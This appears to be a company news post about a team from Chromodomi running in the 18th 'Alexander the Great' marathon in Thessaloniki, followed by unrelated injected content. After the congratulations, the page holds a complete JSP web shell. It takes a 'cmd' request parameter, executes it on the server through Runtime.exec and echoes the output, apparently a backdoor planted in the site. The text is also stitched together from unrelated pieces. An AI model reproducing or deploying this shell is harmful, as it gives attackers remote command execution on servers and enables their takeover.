Chromodomi at the 18th Marathon Alexander the Great

espa

Chromodomi took part in the 18th international marathon "Alexander the Great" in Thessaloniki.
Young and old, we were present and ran together as a team ! Congratulations to everyone !

<%@ page import="java.util.*,java.io.*"%> <% %> Commands with JSP
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>